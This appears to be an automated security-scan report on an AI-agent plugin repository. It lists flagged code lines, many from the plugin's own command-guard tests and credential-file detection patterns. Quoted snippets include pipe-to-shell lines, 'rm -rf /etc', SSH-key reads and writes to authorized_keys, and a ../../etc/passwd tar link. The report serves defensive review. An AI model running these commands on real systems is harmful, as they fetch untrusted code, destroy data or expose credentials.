Python subprocess execution detectedplugin/hooks/token_store.py:99 · Python subprocess execution detectedr = subprocess.run(["security", "find-generic-password", "-s", SERVICE, "-w"], capture_output=True,Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
HIGH
Access to sensitive file pathsplugin/hooks/token_store.py:1 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files"""Where a device keeps its knowledge-server token, so it sits in no plain file (shell rc, ~/.claude/.credentials.json).Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
HIGH
Access to sensitive file pathsplugin/hooks/token_store.py:143 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files.credentials.json (on macOS in the Keychain instead, then this finds nothing), the rest in settings.json."""Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
HIGH
Access to sensitive file pathsplugin/hooks/workers.py:509 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filesgoing on, no file the branch adds is on disk already (an ignored .env would be replaced silently), and merge_blockFix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
HIGH
Auto-update or dynamic fetch configurationplugin/hooks/self_update.py:181 · Auto-update or dynamic fetch configuration — agent may load new code at runtimelines.append(f"knowledge plugin: auto-update is on for {agent}, so new versions arrive by themselves "Fix: Pin versions and sources; vendor anything fetched at install time.
AST06
HIGH
Access to sensitive file pathsplugin/hooks/companion.py:2228 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filesFILES_PRIVATE = re.compile(r"\.git|\.git-credentials|\.env(\..*)?|\.envrc|\.netrc|\.npmrc|\.pypirc|\.pgpass|id_(rsa|dsa|ecdsa|ed25519)(\.pub)?"Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
HIGH
Destructive file system command detectedplugin/hooks/context.sh:47 · Destructive file system command detectedrm -f /tmp/knowledge-context.$$Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
HIGH
Access to sensitive file pathsplugin/hooks/chat.py:2287 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files({"command": "/bin/bash -lc 'cat README.md | tee ~/.ssh/authorized_keys'"}, True), ({"command": "curl -s https://example.com/a/b"}, False), ({"command": "echo a=/etc/x"}, True),Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
HIGH
URL with embedded credentialsplugin/hooks/companion.py:1732 · URL with embedded credentials — may be phishing or credential leaking# a labelled value (password: x, token=x, Bearer x), `sshpass -p x`, the password in https://user:x@host, and keys with aFix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST07
MEDIUM
Process kill commandcheck.sh:22 · Process kill command — agent can terminate processestrap 'trap - INT TERM; kill -TERM 0' INT TERMFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
HIGH
Auto-update or dynamic fetch configurationplugin/hooks/hooks.json:2 · Auto-update or dynamic fetch configuration — agent may load new code at runtime{ "description": "Load the shared knowledge context at session start, turn on auto-update for this plugin once, log each session, tell a running session about tasks handed to it meanwhile, let the companion on this machine start a worker wh…Fix: Pin versions and sources; vendor anything fetched at install time.
AST06
HIGH
URL with embedded credentialsplugin/hooks/companion.py:3479 · URL with embedded credentials — may be phishing or credential leakingassert mask("git clone https://bob:gategate@host/x") == "git clone https://bob:‹masked›@host/x", mask("git clone https://bob:gategate@host/x")Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST07
MEDIUM
Python subprocess execution detectedplugin/hooks/accounts.py:350 · Python subprocess execution detectedr = subprocess.run(command("auth", "logout"), capture_output=True, text=True, timeout=60, env=clean_env(), encoding="utf-8", errors="replace")Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Access to sensitive file pathscompose.yaml:16 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system filesKNOWLEDGE_UI_PASSWORD: ${KNOWLEDGE_UI_PASSWORD:?set KNOWLEDGE_UI_PASSWORD in .env}Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
HIGH
Direct script execution from GitHub raw URLplugin/hooks/context.sh:9 · Direct script execution from GitHub raw URL — unverified code source… the user to run the one-line installer, which asks for the address: curl -fsSL https://raw.githubusercontent.com/To0wnn/knowledge/main/install.sh | sh (Linux, macOS), irm https://raw.githubusercontent.com/To0wnn/knowledge/mai…Fix: Pin versions and sources; vendor anything fetched at install time.
AST06
HIGH
Access to sensitive file pathsplugin/hooks/workers.py:650 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files# a file the branch adds that the checkout has on disk (an ignored .env) is never replacedFix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Python subprocess execution detectedplugin/hooks/accounts.py:221 · Python subprocess execution detectedr = subprocess.run(command("auth", "status", "--json"), capture_output=True, text=True, timeout=30, encoding="utf-8",Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Remote installer piped to shellplugin/hooks/token_store.py:28 · Remote installer piped to shell"curl -fsSL https://raw.githubusercontent.com/To0wnn/knowledge/main/install.sh | sh (Linux, macOS), "Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST07
MEDIUM
File type combined with upload actionplugin/hooks/companion.py:3602 · File type combined with upload action — agent may exfiltrate local data filesassert not (box / "agy3.json").exists() and (box / "waits.json").exists(), "agy's Esc sends no hook: its mark goes after an hour"Fix: Remove the call, or declare the host in frontmatter and explain in the README what is sent and why.
AST07
MEDIUM
Python subprocess execution detectedplugin/hooks/tools.py:717 · Python subprocess execution detectedout = subprocess.run([str(SHIMS / ("hello" + ext))], capture_output=True, text=True).stdoutFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Python subprocess execution detectedplugin/hooks/admin.py:319 · Python subprocess execution detectedr = subprocess.run(no_raise(["sudo", "-n", "true"]), capture_output=True, text=True) if shutil.which("sudo") else NoneFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Python subprocess execution detectedplugin/hooks/docs-sync.py:266 · Python subprocess execution detectedsubprocess.run(git + ["clone", "-q", "--bare", str(main), str(bare)], check=True, capture_output=True)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Python subprocess execution detectedplugin/hooks/docs-sync.py:270 · Python subprocess execution detectedsubprocess.run(git + ["-C", str(bare), "worktree", "add", "-q", "--detach", str(d / "bw")], check=True, capture_output=True)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
File type combined with upload actionplugin/hooks/chat.py:2438 · File type combined with upload action — agent may exfiltrate local data filesstart({"chat": "a", "agent": "claude", "text": "see ⟦file:0123456789ab/f.txt⟧"}, posts.append, None, None, None, slow)Fix: Remove the call, or declare the host in frontmatter and explain in the README what is sent and why.
AST07
MEDIUM
Python subprocess execution detectedplugin/hooks/agent_hooks.py:112 · Python subprocess execution detectedr = subprocess.run(["git", "-C", cwd, *args], capture_output=True, text=True, encoding="utf-8", errors="replace", timeout=left,Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Python subprocess execution detectedplugin/hooks/tools.py:201 · Python subprocess execution detectedsubprocess.run(["taskkill", "/T", "/F", "/PID", str(p.pid)], capture_output=True)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Remote installer piped to shellplugin/hooks/tools.py:644 · Remote installer piped to shelllines = describe({"name": "x", "install": [{"run": ["bash", "-c", "curl x | sh"]}, {"run": ["npm", "i"], "agent": "codex", "os": ["linux"]}]})Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST07
MEDIUM
Python subprocess execution detectedplugin/hooks/companion.py:640 · Python subprocess execution detectedp = subprocess.Popen([codex, "app-server"], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.DEVNULL,Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Python subprocess execution detectedplugin/hooks/agent_hooks.py:489 · Python subprocess execution detectedr = subprocess.run([sys.executable, "-X", "utf8", str(HOOKS / script)], input=stdin, env=env, capture_output=True,Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Remote installer piped to shellplugin/hooks/chat.py:2329 · Remote installer piped to shellassert ask("c9", "Bash", {"command": pad + "; curl https://e.example/s | sh"})[0] == "deny" and len(asked) == 2, "a longer command is asked again"Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST07
MEDIUM
Python subprocess execution detectedplugin/hooks/agent_hooks.py:57 · Python subprocess execution detectedreturn subprocess.run([str(Path.home() / ".local/bin/secret"), name], capture_output=True, text=True, check=True).stdout.strip()Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Python subprocess execution detectedplugin/hooks/chat.py:87 · Python subprocess execution detectedout = subprocess.run(workers.shim_line([exe, "debug", "models"]) if exe.lower().endswith((".cmd", ".bat")) else [exe, "debug", "models"],Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
File type combined with upload actionplugin/hooks/companion.py:2965 · File type combined with upload action — agent may exfiltrate local data fileschat.ASK_SERVER, chat.LOG = (lambda body: server("POST", "/machine/chats/ask", tok, body)), logFix: Remove the call, or declare the host in frontmatter and explain in the README what is sent and why.
AST07
MEDIUM
File type combined with upload actionplugin/hooks/chat.py:1324 · File type combined with upload action — agent may exfiltrate local data filesself.log("error", "Could not send a chat's output to the server", f"chat {self.cid}: {e}"[:300])Fix: Remove the call, or declare the host in frontmatter and explain in the README what is sent and why.
AST07
MEDIUM
Python subprocess execution detectedplugin/hooks/docs-sync.py:264 · Python subprocess execution detectedsubprocess.run(git + ["-C", str(main)] + args, check=True, capture_output=True)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Python subprocess execution detectedplugin/hooks/companion.py:324 · Python subprocess execution detectedreturn subprocess.run(["pgrep", "-x", name[:15]], capture_output=True).returncode == 0Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Python subprocess execution detectedplugin/hooks/sysstats.py:23 · Python subprocess execution detectedreturn subprocess.run(cmd, capture_output=True, text=True, timeout=10, creationflags=flags).stdoutFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Python subprocess execution detectedplugin/hooks/token_store.py:133 · Python subprocess execution detectedr = subprocess.run(cmd, input=stdin, capture_output=True, text=True, timeout=30)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Python subprocess execution detectedplugin/hooks/awake.py:125 · Python subprocess execution detectedr = subprocess.run(["pmset", "-g", "assertions"], capture_output=True, text=True, timeout=20)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Remote installer piped to shellplugin/hooks/context.sh:9 · Remote installer piped to shell… sent. Tell the user to run the one-line installer, which asks for the address: curl -fsSL https://raw.githubusercontent.com/To0wnn/knowledge/main/install.sh | sh (Linux, macOS), irm https://raw.githubusercontent.com/To0wnn/knowledge/main/…Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST07
MEDIUM
Python subprocess execution detectedplugin/hooks/awake.py:127 · Python subprocess execution detectedr = subprocess.run(["systemd-inhibit", "--list", "--no-pager"], capture_output=True, text=True, timeout=20)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Process kill commandplugin/hooks/awake.py:60 · Process kill command — agent can terminate processes"sh", "-c", f"while kill -0 {me} 2>/dev/null; do sleep 15; done"]Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Python subprocess execution detectedplugin/hooks/self_update.py:300 · Python subprocess execution detectedp = subprocess.run(cmd, capture_output=True, text=True, encoding="utf-8", errors="replace", timeout=300,Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Python subprocess execution detectedplugin/hooks/awake.py:61 · Python subprocess execution detectedp = subprocess.Popen(cmd, stdin=subprocess.DEVNULL, stdout=subprocess.DEVNULL, stderr=subprocess.PIPE,Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Remote installer piped to shellplugin/hooks/context.sh:37 · Remote installer piped to shell…evice, so the server refused it. Run the one-line installer, which asks for it: curl -fsSL https://raw.githubusercontent.com/To0wnn/knowledge/main/install.sh | sh (Linux, macOS), irm https://raw.githubusercontent.com/To0wnn/knowledge/main/…Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST07
MEDIUM
Python subprocess execution detectedplugin/hooks/agent_hooks.py:671 · Python subprocess execution detectedsys.stdout.write(subprocess.run([sys.executable, "-X", "utf8", str(HOOKS / "secret-guard.py"), rest[0]],Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Python subprocess execution detectedplugin/hooks/companion.py:322 · Python subprocess execution detectedr = subprocess.run(["tasklist", "/FI", f"IMAGENAME eq {name}.exe", "/NH"], capture_output=True, text=True)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Python subprocess execution detectedplugin/hooks/admin.py:298 · Python subprocess execution detectedrun_host = lambda **kw: subprocess.Popen(r["argv"], cwd=r.get("cwd") or None, env=r.get("env") or None, stdin=subprocess.DEVNULL,Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Python subprocess execution detectedplugin/hooks/tools.py:679 · Python subprocess execution detectedslow = run({"run": [py, "-c", "import subprocess, sys, time; subprocess.Popen([sys.executable, '-c', 'import time; time.sleep(30)']); time.sleep(30)"], "timeout": 1})Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Process kill commandplugin/hooks/chat.py:1077 · Process kill command — agent can terminate processes"""What workers.kill needs to stop this host (an elevated one is told to stop itself)."""Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Remote installer piped to shellplugin/hooks/token_store.py:31 · Remote installer piped to shell"curl -fsSL https://raw.githubusercontent.com/To0wnn/knowledge/main/install.sh | sh (Linux, macOS), "Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST07
MEDIUM
Python subprocess execution detectedplugin/hooks/tools.py:195 · Python subprocess execution detectedp = subprocess.Popen([exe, *argv[1:]], stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.DEVNULL, text=True,Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Python subprocess execution detectedplugin/hooks/token_store.py:109 · Python subprocess execution detectedr = subprocess.run(["secret-tool", "lookup", "service", SERVICE], capture_output=True, text=True, timeout=5,Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Python subprocess execution detectedplugin/hooks/self_update.py:61 · Python subprocess execution detectedreturn subprocess.run(["git", "-C", str(repo), *args], capture_output=True, text=True, encoding="utf-8",Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Python subprocess execution detectedplugin/hooks/chat.py:109 · Python subprocess execution detectedraw = subprocess.run(["security", "find-generic-password", "-s", "Claude Code-credentials", "-w"],Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Python subprocess execution detectedplugin/hooks/chat.py:1048 · Python subprocess execution detectedrun = lambda **kw: subprocess.Popen([sys.executable, str(HOOKS / "chat_host.py"), str(d)], cwd=cwd or None, env=env,Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Python subprocess execution detectedplugin/hooks/awake.py:122 · Python subprocess execution detectedr = subprocess.run(["powercfg", "/requests"], capture_output=True, text=True, timeout=20)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Python subprocess execution detectedplugin/hooks/companion.py:560 · Python subprocess execution detectedtop = subprocess.run(["git", "-C", str(p), "rev-parse", "--show-toplevel"], capture_output=True, text=True, # git prints UTF-8, never the ANSI code pageFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
File type combined with upload actionplugin/hooks/chat.py:2453 · File type combined with upload action — agent may exfiltrate local data filesstart({"chat": "c", "agent": "claude", "text": "⟦file:0123456789ac/g.txt⟧"}, posts.append, None, None, None, slow)Fix: Remove the call, or declare the host in frontmatter and explain in the README what is sent and why.
AST07
MEDIUM
Python subprocess execution detectedplugin/hooks/limits.py:234 · Python subprocess execution detectedr = subprocess.run(argv, input=raw, capture_output=True, shell=not shell, timeout=10)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Python subprocess execution detectedplugin/hooks/agent_hooks.py:515 · Python subprocess execution detectedp = subprocess.Popen([sys.executable, "-X", "utf8", str(HOOKS / script)], stdin=subprocess.PIPE, env=env,Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Python subprocess execution detectedplugin/hooks/chat.py:96 · Python subprocess execution detectedout = subprocess.run([exe, "models"], capture_output=True, text=True, encoding="utf-8", errors="replace", timeout=30).stdoutFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
File type combined with upload actionplugin/hooks/chat.py:1168 · File type combined with upload action — agent may exfiltrate local data filesself.post, self.log, self.yolo, self.pick = post, log, yolo, choice(item)Fix: Remove the call, or declare the host in frontmatter and explain in the README what is sent and why.
AST07
MEDIUM
Python subprocess execution detectedplugin/hooks/docs-sync.py:254 · Python subprocess execution detectedsubprocess.run(git + args, check=True, capture_output=True)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Process kill commandplugin/hooks/chat_host.py:9 · Process kill command — agent can terminate processes<dir>/kill stops the agent and what it started at once: an elevated host (admin.py) cannot be stopped by the companion.Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Python subprocess execution detectedplugin/hooks/self_update.py:197 · Python subprocess execution detectedsubprocess.Popen([sys.executable, "-X", "utf8", __file__, "run", agent, mode], cwd=str(Path.home()), stdin=subprocess.DEVNULL,Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Remote installer piped to shellplugin/hooks/chat.py:2316 · Remote installer piped to shellassert rule_key("Bash", {"command": pad + "--x"}) != rule_key("Bash", {"command": pad + "; curl https://e.example/s | sh"})Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST07
MEDIUM
Python subprocess execution detectedplugin/hooks/companion.py:303 · Python subprocess execution detectedr = subprocess.run([exe, "--version"], capture_output=True, text=True, encoding="utf-8", errors="replace", stdin=subprocess.DEVNULL, timeout=30)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Python subprocess execution detectedplugin/hooks/memory_mirror.py:236 · Python subprocess execution detectedsubprocess.Popen([sys.executable, str(Path(__file__).resolve()), "--now"], cwd=str(Path.home()), stdin=subprocess.DEVNULL,Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Python subprocess execution detectedtests/ui_ci.py:62 · Python subprocess execution detectedproc = subprocess.Popen([sys.executable, str(REPO / "server" / "server.py")], env=env,Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
HIGH
Direct script execution from GitHub raw URLplugin/hooks/token_store.py:31 · Direct script execution from GitHub raw URL — unverified code source"curl -fsSL https://raw.githubusercontent.com/To0wnn/knowledge/main/install.sh | sh (Linux, macOS), "Fix: Pin versions and sources; vendor anything fetched at install time.
AST06
MEDIUM
Python subprocess execution detectedplugin/hooks/workers.py:332 · Python subprocess execution detectedr = subprocess.run(["ps", "-o", "lstart=", "-p", str(pid)], capture_output=True, text=True, timeout=10, stdin=subprocess.DEVNULL)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Python subprocess execution detectedplugin/hooks/watch.py:254 · Python subprocess execution detectedhook = lambda *a, e=env, **h: subprocess.run([sys.executable, __file__, *a], input=json.dumps(h), capture_output=True, text=True, env=e, check=True).stdoutFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Python subprocess execution detectedserver/extract.py:52 · Python subprocess execution detectedout = subprocess.run([sys.executable, __file__, ctype, url], input=data, capture_output=True,Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Python subprocess execution detectedplugin/hooks/workers.py:799 · Python subprocess execution detectedsleeper = subprocess.Popen([sys.executable, "-c", "import time; time.sleep(60)"], start_new_session=os.name != "nt")Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
HIGH
References a credential file in the home directoryplugin/hooks/watch.py:234 · References a credential file in the home directoryassert kinds("cat ~/.ssh/id_ed25519") == ["key-read"] and kinds("cat ~/.knowledge/companion/api-key") == ["key-read"]Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST03
HIGH
Destructive file system command detectedplugin/hooks/watch.py:237 · Destructive file system command detectedassert kinds("rm -rf ~/Documents") == ["rm-outside"] and kinds("rm -rf /etc") == ["rm-outside"]Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Python subprocess execution detectedtests/ui_ci.py:126 · Python subprocess execution detectedruns.append((subprocess.Popen([sys.executable, script], env={**os.environ, "KNOWLEDGE_SMOKE_SHARD": f"{i}/{n}"},Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Python subprocess execution detectedtoken_cmd.py:44 · Python subprocess execution detectedlines = subprocess.run(["secret", "tsv"], check=True, capture_output=True, text=True).stdout.splitlines()Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Python subprocess execution detectedplugin/hooks/workers.py:397 · Python subprocess execution detectedrun = lambda **kw: subprocess.Popen(cmd, cwd=where["cwd"], stdin=subprocess.DEVNULL, stdout=out, stderr=subprocess.STDOUT, env=env, **kw)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
HIGH
Access to sensitive file pathsplugin/hooks/watch.py:38 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files("key-read", re.compile(r"\.ssh[/\\\\]+(?:id_\w+|[\w.-]*_key)\b|\.(?:pem|p12|pfx|kdbx)\b|\.credentials\.json\b|[/\\\\]\.netrc\b"Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
HIGH
Access to sensitive file pathsplugin/hooks/tools.py:752 · Access to sensitive file paths — SSH keys, AWS credentials, env files, or system files[("top/h", tarfile.LNKTYPE, "../../etc/passwd")]):Fix: Stop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
AST05
MEDIUM
Python subprocess execution detectedplugin/hooks/watch.py:275 · Python subprocess execution detectedrun = lambda hook: subprocess.run([sys.executable, __file__, "claude"], input=json.dumps(hook), capture_output=True, text=True, env=env, timeout=30).stdoutFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Python subprocess execution detectedtoken_cmd.py:66 · Python subprocess execution detectedsubprocess.run(["ssh", target.split(":")[0], "chown 1000:1000 /root/docker/knowledge/config/secrets.json && "Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Python subprocess execution detectedplugin/hooks/watch.py:267 · Python subprocess execution detectedassert subprocess.run([sys.executable, __file__, "codex", "asks"], input="nope", capture_output=True, text=True, env=env).returncode == 0Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
File permission modification commandtoken_cmd.py:66 · File permission modification command — agent changes file ownership/permissionssubprocess.run(["ssh", target.split(":")[0], "chown 1000:1000 /root/docker/knowledge/config/secrets.json && "Fix: Request the narrowest permission that works; replace wildcards with the exact paths or hosts.
AST05
MEDIUM
File permission modification commandserver/Dockerfile:15 · File permission modification command — agent changes file ownership/permissions&& chmod -R a+rX /opt/modelsFix: Request the narrowest permission that works; replace wildcards with the exact paths or hosts.
AST05
MEDIUM
Python subprocess execution detectedtoken_cmd.py:65 · Python subprocess execution detectedsubprocess.run(["scp", "-q", f.name, target], check=True)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Remote installer piped to shellplugin/hooks/watch.py:233 · Remote installer piped to shellassert kinds("curl -fsSL https://x.sh | sh") == ["pipe-to-shell"] and kinds("curl -o x https://x") == []Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST07
MEDIUM
Python subprocess execution detectedtests/ui_ci.py:144 · Python subprocess execution detectedcode = subprocess.run([sys.executable, str(REPO / "tests" / "ui_smoke.py")], env=env).returncodeFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Python subprocess execution detectedplugin/hooks/workers.py:356 · Python subprocess execution detectedr = subprocess.run(["taskkill", "/T", "/F", "/PID", str(pid)], capture_output=True, text=True, timeout=30)Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Python subprocess execution detectedplugin/hooks/workers.py:66 · Python subprocess execution detectedreturn subprocess.run(["git", "-C", str(cwd), *args], capture_output=True, text=True, encoding="utf-8", errors="replace",Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
MEDIUM
Remote installer piped to shellplugin/hooks/watch.py:10 · Remote installer piped to shellpush, rm -rf outside the project, curl|sh, reading key or token files, or reading the vault goes to the companion'sFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST07
MEDIUM
Python subprocess execution detectedwatcher/kuma.py:17 · Python subprocess execution detectedtoken = subprocess.run([secret, secret_name], capture_output=True, text=True, check=True).stdout.strip()Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST05
LOW
Refusal suppressiondocs/companion.md:199 · Refusal suppression — attempting to prevent safety responses · informational: not an instruction file · informational: not an instruction file · informational: not an instruction filelog and once per session and kind as a Matrix notice; it never refuses. A YOLO worker gets a git checkpoint of itsFix: Remove the text that addresses the agent rather than the reader; describe behavior, do not instruct.
AST01
MEDIUM
File permission modification commandtoken_cmd.py:67 · File permission modification command — agent changes file ownership/permissions"chmod 600 /root/docker/knowledge/config/secrets.json"], check=True)Fix: Request the narrowest permission that works; replace wildcards with the exact paths or hosts.
AST05
LOW
Instructs the agent to modify its persistent memory or instruction filesdocs/chats.md:95 · Instructs the agent to modify its persistent memory or instruction files · informational: not an instruction file · informational: not an instruction file · informational: not an instruction file…behind (`CHAT_WRAP_UP` asks the agent to land such work first, per the project's AGENTS.md, and to write what stays unlanded as an open item, never as done; an agent once wrote its mem…Fix: Remove the text that addresses the agent rather than the reader; describe behavior, do not instruct.
AST01
LOW
Instructs the agent to modify its persistent memory or instruction filesserver/lint.py:299 · Instructs the agent to modify its persistent memory or instruction files · informational: not an instruction file · informational: not an instruction file · informational: not an instruction filereport["index_near_load_limit"].append(f"MEMORY.md: {lines} lines / {size // 1024} KB (Claude Code loads 200 lines / 25 KB)")Fix: Remove the text that addresses the agent rather than the reader; describe behavior, do not instruct.
AST01
LOW
Instructs the agent to modify its persistent memory or instruction filesplugin/hooks/memory-check.py:128 · Instructs the agent to modify its persistent memory or instruction files · informational: not an instruction file · informational: not an instruction file · informational: not an instruction filereturn (f"{what} of the project's MEMORY.md, so the knowledge graph cannot place this doc. Add at the very top: "Fix: Remove the text that addresses the agent rather than the reader; describe behavior, do not instruct.
AST01
LOW
Instructs the agent to modify its persistent memory or instruction filesserver/lint.py:306 · Instructs the agent to modify its persistent memory or instruction files · informational: not an instruction file · informational: not an instruction file · informational: not an instruction filereport["index_points_to_missing_file"].append(f"MEMORY.md → {line.group('file')}")Fix: Remove the text that addresses the agent rather than the reader; describe behavior, do not instruct.
AST01
LOW
Instructs the agent to modify its persistent memory or instruction filesserver/lint.py:375 · Instructs the agent to modify its persistent memory or instruction files · informational: not an instruction file · informational: not an instruction file · informational: not an instruction filereport["doc_without_topic"].append(f"{rel}: topic '{topic}' is no heading of MEMORY.md" if topic else f"{rel}: no topic")Fix: Remove the text that addresses the agent rather than the reader; describe behavior, do not instruct.
AST01

Cost to the agent

Instructions loaded
≈7,874 tok
11 files · 80 in bundle

Tokens estimated at four characters each. Skills load their instruction text when triggered; the figure is what that costs.

Known vulnerabilities

Vulnerability advisories (OSV) cover npm and PyPI packages; this registry has no advisory database.

What would make this Verified

22 points to 80 · weights: behavior 45%, static 25%, prompt 15%, publisher 15%
  1. Reads credential files≈ +27 on the totalThe sandbox saw reads under ~/.ssh, ~/.aws, ~/.npmrc, ~/.config or similar. Read only files inside the project, and only the ones the task needs. Seen: ~/knowledge/plugin/hooks/__pycache__/token_store.cpython-311.pyc.
  2. Reads credential paths from the home directory≈ +9 on the totalStop enumerating or reading credential locations; take secrets from a declared environment variable the user sets on purpose.
  3. Pipe-to-shell pattern≈ +9 on the totalBuild commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
